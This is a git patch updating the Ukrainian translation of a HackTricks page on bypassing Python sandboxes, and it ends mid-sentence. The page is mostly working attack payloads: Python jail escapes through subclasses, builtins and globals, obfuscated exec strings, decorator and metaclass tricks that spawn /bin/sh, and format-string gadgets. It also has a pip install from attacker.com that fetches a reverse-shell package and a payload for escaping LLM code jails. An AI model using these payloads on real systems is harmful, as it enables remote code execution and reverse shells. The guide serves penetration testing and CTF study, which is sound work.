From 4e71d7868a4679dfb8df1595ea37cec3395cb287 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 10:26:54 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/python/bypass-pytho --- src/SUMMARY.md | 1 + .../python/bypass-python-sandboxes/README.md | 214 +++++++++--------- ...xpression-evaluation-rce-cve-2023-33733.md | 79 +++++++ .../pentesting-web/django.md | 62 ++--- 4 files changed, 229 insertions(+), 127 deletions(-) create mode 100644 src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1659bf643..1b61cadc6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -70,6 +70,7 @@ - [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md) - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) + - [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 33e38b84c..777328cd2 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,12 +1,12 @@ -# Bypass Python sandboxes +# Обхід Python sandboxes {{#include ../../../banners/hacktricks-training.md}} -Це деякі трюки для обходу захисту пісочниць Python та виконання довільних команд. +Це кілька трюків для обходу захистів python sandbox і виконання довільних команд. ## Бібліотеки виконання команд -Перше, що вам потрібно знати, це чи можете ви безпосередньо виконувати код з якоїсь вже імпортованої бібліотеки, або чи можете ви імпортувати будь-яку з цих бібліотек: +Перше, що потрібно знати — чи можете ви безпосередньо виконувати код за допомогою якоїсь вже імпортованої бібліотеки, або чи можете імпортувати будь-яку з цих бібліотек: ```python os.system("ls") os.popen("ls").read() @@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Пам'ятайте, що функції _**open**_ та _**read**_ можуть бути корисними для **читання файлів** всередині пісочниці python та для **написання коду**, який ви могли б **виконати** для **обходу** пісочниці. +Пам'ятайте, що функції _**open**_ і _**read**_ можуть бути корисні для **читання файлів** всередині python sandbox та для **запису коду**, який ви могли б **виконати**, щоб **bypass** sandbox. -> [!CAUTION] > Функція **Python2 input()** дозволяє виконувати python код перед тим, як програма зламається. +> [!CAUTION] > **Python2 input()** function дозволяє виконати python-код перед тим, як програма аварійно завершиться. -Python намагається **завантажити бібліотеки з поточної директорії спочатку** (наступна команда виведе, звідки python завантажує модулі): `python3 -c 'import sys; print(sys.path)'` +Python намагається **спочатку завантажувати бібліотеки з поточного каталогу** (наступна команда виведе, звідки python завантажує модулі): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) -## Обхід пісочниці pickle за допомогою стандартних встановлених пакетів python +## Bypass pickle sandbox з використанням стандартно встановлених python packages ### Стандартні пакети Ви можете знайти **список попередньо встановлених** пакетів тут: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Зверніть увагу, що з pickle ви можете змусити python env **імпортувати довільні бібліотеки**, встановлені в системі.\ -Наприклад, наступний pickle, при завантаженні, імпортує бібліотеку pip для її використання: +Зверніть увагу, що з pickle ви можете змусити python env **import arbitrary libraries** встановлені в системі.\ +Наприклад, наступний pickle при завантаженні імпортує бібліотеку pip для її використання: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -66,32 +66,32 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -Для отримання додаткової інформації про те, як працює pickle, перегляньте це: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +Для отримання додаткової інформації про те, як працює pickle, перегляньте: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) -### Pip пакет +### Pip package -Трюк, поділений **@isHaacK** +Трюк від **@isHaacK** -Якщо у вас є доступ до `pip` або `pip.main()`, ви можете встановити довільний пакет і отримати зворотний шелл, викликавши: +Якщо у вас є доступ до `pip` або `pip.main()` ви можете встановити довільний пакет і отримати reverse shell, викликавши: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` -Ви можете завантажити пакет для створення зворотного шеллу тут. Зверніть увагу, що перед використанням ви повинні **розпакувати його, змінити `setup.py` і вказати свою IP-адресу для зворотного шеллу**: +Ви можете завантажити пакет для створення reverse shell тут. Зверніть увагу, що перед використанням потрібно **розпакувати його, змінити `setup.py` і вказати ваш IP для reverse shell**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] -> Цей пакет називається `Reverse`. Однак він був спеціально створений так, що коли ви виходите із зворотного шеллу, решта установки зазнає невдачі, тому ви **не залишите жодного додаткового python пакету встановленим на сервері**, коли ви підете. +> Цей пакет називається `Reverse`. Однак він спеціально створений так, що коли ви вийдете з reverse shell, решта інсталяції завершиться помилкою, тож ви **не залишите жодного додаткового python package, встановленого на сервері**, коли підете. ## Eval-ing python code > [!WARNING] -> Зверніть увагу, що exec дозволяє багаторядкові рядки та ";", але eval - ні (перевірте оператор вальрус) +> Зауважте, що exec дозволяє багаторядкові рядки та ";", але eval — ні (перевірте walrus operator) -Якщо певні символи заборонені, ви можете використовувати **hex/octal/B64** представлення, щоб **обійти** обмеження: +Якщо певні символи заборонені, ви можете скористатися **hex/octal/B64** представленням, щоб **bypass** обмеження: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### Інші бібліотеки, які дозволяють виконувати python код +### Інші бібліотеки, які дозволяють виконувати python-код через eval ```python #Pandas import pandas as pd @@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` -## Оператори та короткі трюки +Також дивіться реальний випадок обходу sandboxed evaluator у PDF-генераторах: + +- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Він зловживає rl_safe_eval для доступу до function.__globals__ і os.system через оцінені атрибути (наприклад, font color) і повертає дійсне значення, аби зберегти стабільність рендерингу. + +{{#ref}} +reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +{{#endref}} + +## Оператори та короткі прийоми ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## Обхід захисту через кодування (UTF-7) +## Обхід захистів через кодування (UTF-7) -У [**цьому звіті**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 використовується для завантаження та виконання довільного python-коду всередині очевидного пісочниці: +У [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 використовується для завантаження та виконання довільного python-коду всередині, здавалося б, sandbox: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -148,13 +156,13 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -Також можливо обійти це, використовуючи інші кодування, наприклад, `raw_unicode_escape` та `unicode_escape`. +Також можна обійти це, використовуючи інші кодування, наприклад `raw_unicode_escape` та `unicode_escape`. ## Виконання Python без викликів -Якщо ви знаходитесь у python-в'язниці, яка **не дозволяє вам робити виклики**, все ще є кілька способів **виконати довільні функції, код** та **команди**. +Якщо ви перебуваєте в Python jail, який **не дозволяє вам робити виклики**, все ще існують способи **виконати довільні функції, код** та **команди**. -### RCE з [декораторами](https://docs.python.org/3/glossary.html#term-decorator) +### RCE за допомогою [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -176,13 +184,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` -### RCE створення об'єктів та перевантаження +### RCE creating objects and overloading -Якщо ви можете **оголосити клас** і **створити об'єкт** цього класу, ви можете **писати/перезаписувати різні методи**, які можуть бути **викликані** **без** **необхідності викликати їх безпосередньо**. +Якщо ви можете **declare a class** і **create an object** того класу, ви могли б **write/overwrite different methods**, які можуть бути **triggered** **without** **needing to call them directly**. -#### RCE з користувацькими класами +#### RCE with custom classes -Ви можете змінити деякі **методи класу** (_перезаписуючи існуючі методи класу або створюючи новий клас_), щоб вони **виконували довільний код** при **виклику** без безпосереднього виклику. +Ви можете модифікувати деякі **class methods** (_by overwriting existing class methods or creating a new class_) щоб вони **execute arbitrary code** коли будуть **triggered** без їхнього прямого виклику. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` -#### Створення об'єктів з [метакласами](https://docs.python.org/3/reference/datamodel.html#metaclasses) +#### Створення об'єктів за допомогою [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) -Ключова річ, яку дозволяють нам метакласи, це **створити екземпляр класу, не викликаючи конструктор** безпосередньо, створюючи новий клас з цільовим класом як метаклас. +Головне, що метакласи дозволяють нам робити, — **створити екземпляр класу без прямого виклику конструктора**, шляхом створення нового класу, у якого цільовий клас виступає метакласом. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -249,9 +257,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` -#### Створення об'єктів з виключеннями +#### Створення об'єктів за допомогою винятків -Коли **виключення викликане**, об'єкт **Exception** **створюється** без необхідності безпосередньо викликати конструктор (трюк від [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): +Коли виникає **exception**, об'єкт **Exception** **створюється** без необхідності викликати конструктор безпосередньо (трюк від [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): @@ -293,7 +301,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### Прочитайте файл з допомогою builtins та ліцензії +### Прочитати файл з builtins help & license ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -302,22 +310,22 @@ a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` -## Builtins +## Вбудовані - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) -Якщо ви можете отримати доступ до об'єкта **`__builtins__`**, ви можете імпортувати бібліотеки (зверніть увагу, що ви також можете використовувати інше рядкове представлення, показане в останньому розділі): +Якщо ви можете отримати доступ до об'єкта **`__builtins__`**, ви можете імпортувати бібліотеки (зауважте, що тут ви також можете використати інші рядкові представленя, показані в останньому розділі): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` -### No Builtins +### Немає `__builtins__` -Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, навіть читати або записувати файли, оскільки **всі глобальні функції** (як-от `open`, `import`, `print`...) **не завантажені**.\ -Однак, **за замовчуванням python імпортує багато модулів в пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також імпортують небезпечні** функціональності всередині, до яких можна отримати доступ для отримання навіть **випадкового виконання коду**. +Коли у вас немає `__builtins__` ви не зможете імпортувати нічого, а також навіть читати чи записувати файли, оскільки **всі глобальні функції** (наприклад `open`, `import`, `print`...) **не завантажені**.\ +Однак, **за замовчуванням python імпортує багато модулів в пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також містять небезпечні** функціональні можливості всередині, до яких можна отримати доступ і навіть досягти **arbitrary code execution**. -У наступних прикладах ви можете спостерігати, як **зловживати** деякими з цих "**безпечних**" модулів, щоб **отримати доступ** до **небезпечних** **функціональностей** всередині них. +У наведених прикладах ви можете побачити, як **зловживати** деякими з цих "**невинних**" модулів, що завантажені, щоб **отримати доступ** до **небезпечних** **функцій** всередині них. **Python2** ```python @@ -359,15 +367,15 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Нижче наведена більша функція**](#recursive-search-of-builtins-globals) для знаходження десятків/**сотень** **місць**, де ви можете знайти **builtins**. +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) щоб знайти десятки/**сотні** **місць**, де ви можете знайти **builtins**. -#### Python2 та Python3 +#### Python2 and Python3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` -### Вбудовані payloads +### Builtins payloads ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() @@ -377,7 +385,7 @@ __builtins__["__import__"]("os").system("ls") ``` ## Globals and locals -Перевірка **`globals`** та **`locals`** є хорошим способом дізнатися, до чого ви можете отримати доступ. +Перевірка **`globals`** і **`locals`** — хороший спосіб дізнатися, до чого ви маєте доступ. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -401,15 +409,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Нижче наведена більша функція**](#recursive-search-of-builtins-globals) для знаходження десятків/**сотень** **місць**, де ви можете знайти **globals**. +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) щоб знайти десятки/**сотні** **місць**, де можна знайти **globals**. ## Виявлення довільного виконання -Тут я хочу пояснити, як легко виявити **більш небезпечні функціональності**, що завантажуються, і запропонувати більш надійні експлойти. +Тут я хочу пояснити, як легко виявити **більш небезпечні завантажені функціональні можливості** та запропонувати більш надійні exploits. -#### Доступ до підкласів з обхідними шляхами +#### Доступ до subclasses з bypasses -Одна з найчутливіших частин цієї техніки полягає в можливості **доступу до базових підкласів**. У попередніх прикладах це було зроблено за допомогою `''.__class__.__base__.__subclasses__()`, але є **інші можливі способи**: +Одна з найчутливіших частин цієї техніки — можливість отримати доступ до базових subclasses. У попередніх прикладах це було зроблено за допомогою `''.__class__.__base__.__subclasses__()` але існують **інші можливі способи**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -437,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -### Знаходження небезпечних бібліотек +### Знаходження завантажених небезпечних бібліотек -Наприклад, знаючи, що з бібліотекою **`sys`** можливо **імпортувати довільні бібліотеки**, ви можете шукати всі **модулі, завантажені, які імпортували sys всередині них**: +Наприклад, якщо ви знаєте, що за допомогою бібліотеки **`sys`** можна **import arbitrary libraries**, ви можете знайти всі **modules loaded that have imported sys inside of them**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -Є багато, і **нам потрібен лише один**, щоб виконати команди: +Їх багато, і **нам потрібен лише один**, щоб виконати команди: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -Ми можемо зробити те ж саме з **іншими бібліотеками**, які, як ми знаємо, можуть бути використані для **виконання команд**: +Ми можемо зробити те саме з **іншими бібліотеками**, які ми знаємо, що можуть використовуватися для **виконання команд**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -483,7 +491,7 @@ defined_func.__class__.__base__.__subclasses__() #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` -Більше того, ми навіть можемо шукати, які модулі завантажують шкідливі бібліотеки: +Більше того, ми могли б навіть знайти, які модулі завантажують шкідливі бібліотеки: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -502,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -Більше того, якщо ви вважаєте, що **інші бібліотеки** можуть **викликати функції для виконання команд**, ми також можемо **фільтрувати за іменами функцій** всередині можливих бібліотек: +Більше того, якщо ви вважаєте, що **інші бібліотеки** можуть бути здатні **викликати функції для виконання команд**, ми також можемо **фільтрувати за іменами функцій** всередині можливих бібліотек: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -538,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil ## Рекурсивний пошук Builtins, Globals... > [!WARNING] -> Це просто **чудово**. Якщо ви **шукаєте об'єкт, наприклад globals, builtins, open або будь-що інше**, просто використовуйте цей скрипт, щоб **рекурсивно знайти місця, де ви можете знайти цей об'єкт.** +> Це просто **неймовірно**. Якщо ви **шукаєте об'єкт, такий як globals, builtins, open або будь-який інший** — просто використайте цей скрипт, щоб **рекурсивно знаходити місця, де можна знайти цей об'єкт.** ```python import os, sys # Import these to find more gadgets @@ -654,15 +662,16 @@ print(SEARCH_FOR) if __name__ == "__main__": main() ``` -Ви можете перевірити вихідні дані цього скрипта на цій сторінці: +Ви можете перевірити результат виконання цього скрипта на цій сторінці: + {{#ref}} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {{#endref}} -## Python Форматний рядок +## Python Format String -Якщо ви **надсилаєте** **рядок** до python, який буде **форматуватися**, ви можете використовувати `{}` для доступу до **внутрішньої інформації python.** Ви можете використовувати попередні приклади для доступу до globals або builtins, наприклад. +Якщо ви **відправите** **рядок** у python, який буде **відформатований**, ви можете використати `{}` для доступу до **внутрішньої інформації python.** Ви можете використовувати попередні приклади, щоб отримати доступ до globals або builtins, наприклад. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -682,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Зверніть увагу, як ви можете **отримувати доступ до атрибутів** звичайним способом з **крапкою** як `people_obj.__init__` і **елементу dict** з **дужками** без лапок `__globals__[CONFIG]` +Зверніть увагу, що ви можете **доступатися до атрибутів** звичайним способом через **крапку**, наприклад `people_obj.__init__` і до **елемента dict** через **квадратні дужки** без лапок `__globals__[CONFIG]` -Також зверніть увагу, що ви можете використовувати `.__dict__` для перерахування елементів об'єкта `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +Також зауважте, що ви можете використовувати `.__dict__` для перерахування елементів об'єкта `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -Деякі інші цікаві характеристики форматних рядків - це можливість **виконувати** **функції** **`str`**, **`repr`** та **`ascii`** в зазначеному об'єкті, додаючи **`!s`**, **`!r`**, **`!a`** відповідно: +Інші цікаві властивості форматних рядків — це можливість **виконувати** **функції** **`str`**, **`repr`** і **`ascii`** у вказаному об'єкті, додавши **`!s`**, **`!r`**, **`!a`** відповідно: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -Крім того, можливо **створювати нові форматори** в класах: +Крім того, можна **написати нові форматери** в класах: ```python class HAL9000(object): def __format__(self, format): @@ -702,17 +711,17 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**Більше прикладів** про **формат** **рядків** можна знайти за посиланням [**https://pyformat.info/**](https://pyformat.info) +**Більше прикладів** щодо **format** **string** можна знайти на [**https://pyformat.info/**](https://pyformat.info) -> [!УВАГА] -> Перевірте також наступну сторінку на наявність гаджетів, які зможуть r**ead sensitive information from Python internal objects**: +> [!CAUTION] +> Перевірте також наступну сторінку щодо gadgets, які **читатимуть чутливу інформацію з внутрішніх об'єктів Python**: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} -### Пейлоади для розкриття чутливої інформації +### Викриття чутливої інформації Payloads ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -728,22 +737,22 @@ secret_variable = "clueless" x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol') str(x) # Out: clueless ``` -### LLM Jails обход +### LLM Jails bypass -З [тут](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` +З [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` -### Від форматування до RCE завантаження бібліотек +### Від format до RCE — завантаження бібліотек -Згідно з [**TypeMonkey chall з цього опису**](https://corgi.rip/posts/buckeye-writeups/), можливо завантажувати довільні бібліотеки з диска, зловживаючи вразливістю форматного рядка в python. +Згідно з [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) можна завантажувати довільні бібліотеки з диска, зловживаючи format string vulnerability у python. -Нагадаємо, що кожного разу, коли виконується дія в python, виконується якась функція. Наприклад, `2*3` виконає **`(2).mul(3)`** або **`{'a':'b'}['a']`** буде **`{'a':'b'}.__getitem__('a')`**. +Нагадаємо, що кожного разу, коли в python виконується дія, викликається певна функція. Наприклад `2*3` виконає **`(2).mul(3)`** або **`{'a':'b'}['a']`** виконає **`{'a':'b'}.__getitem__('a')`**. -Ви можете знайти більше подібного в розділі [**Виконання Python без викликів**](#python-execution-without-calls). +Більше прикладів дивись у розділі [**Python execution without calls**](#python-execution-without-calls). -Вразливість форматного рядка python не дозволяє виконувати функцію (вона не дозволяє використовувати дужки), тому неможливо отримати RCE, як `'{0.system("/bin/sh")}'.format(os)`.\ -Однак, можливо використовувати `[]`. Тому, якщо у звичайної бібліотеки python є метод **`__getitem__`** або **`__getattr__**, який виконує довільний код, їх можна зловживати для отримання RCE. +A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\ +Однак можна використовувати `[]`. Тому, якщо якась поширена python-бібліотека має метод **`__getitem__`** або **`__getattr__`**, який виконує довільний код, її можна зловживати, щоб отримати RCE. -Шукаючи такий гаджет в python, опис пропонує цей [**запит на Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Де він знайшов цей [один](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): +Шукаючи такий гаджет у python, у writeup пропонують цей [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Там він знайшов цей [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -765,20 +774,20 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -Цей гаджет дозволяє **завантажити бібліотеку з диска**. Тому потрібно якимось чином **написати або завантажити бібліотеку для правильного завантаження** на атакований сервер. +Цей гаджет дозволяє **завантажити бібліотеку з диска**. Тому потрібно якимось чином **записати або завантажити на атакований сервер бібліотеку, правильно скомпільовану для нього**. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -Виклик насправді використовує іншу вразливість на сервері, яка дозволяє створювати довільні файли на диску сервера. +Завдання насправді експлуатує іншу вразливість на сервері, що дозволяє створювати довільні файли на диску сервера. -## Розбір об'єктів Python +## Розбір Python-об'єктів > [!TIP] -> Якщо ви хочете **дослідити** **байт-код Python** детально, прочитайте цей **чудовий** пост на цю тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +> Якщо ви хочете **вивчити** **python bytecode** детально, прочитайте цей **відмінний** допис на цю тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -У деяких CTF вам можуть надати назву **кастомної функції, де знаходиться прапор**, і вам потрібно буде переглянути **внутрішню структуру** **функції**, щоб витягти його. +У деяких CTFs вам можуть надати назву **кастомної функції, де знаходиться flag**, і вам потрібно побачити **внутрішню будову** цієї **функції**, щоб витягти його. -Це функція для перевірки: +Ось функція для дослідження: ```python def get_flag(some_input): var1=1 @@ -798,7 +807,7 @@ dir(get_flag) #Get info tof the function ``` #### globals -`__globals__` та `func_globals` (однакові) Отримує глобальне середовище. У прикладі ви можете побачити деякі імпортовані модулі, деякі глобальні змінні та їх вміст, що оголошений: +`__globals__` and `func_globals`(Те саме) Отримує глобальне середовище. У прикладі видно деякі 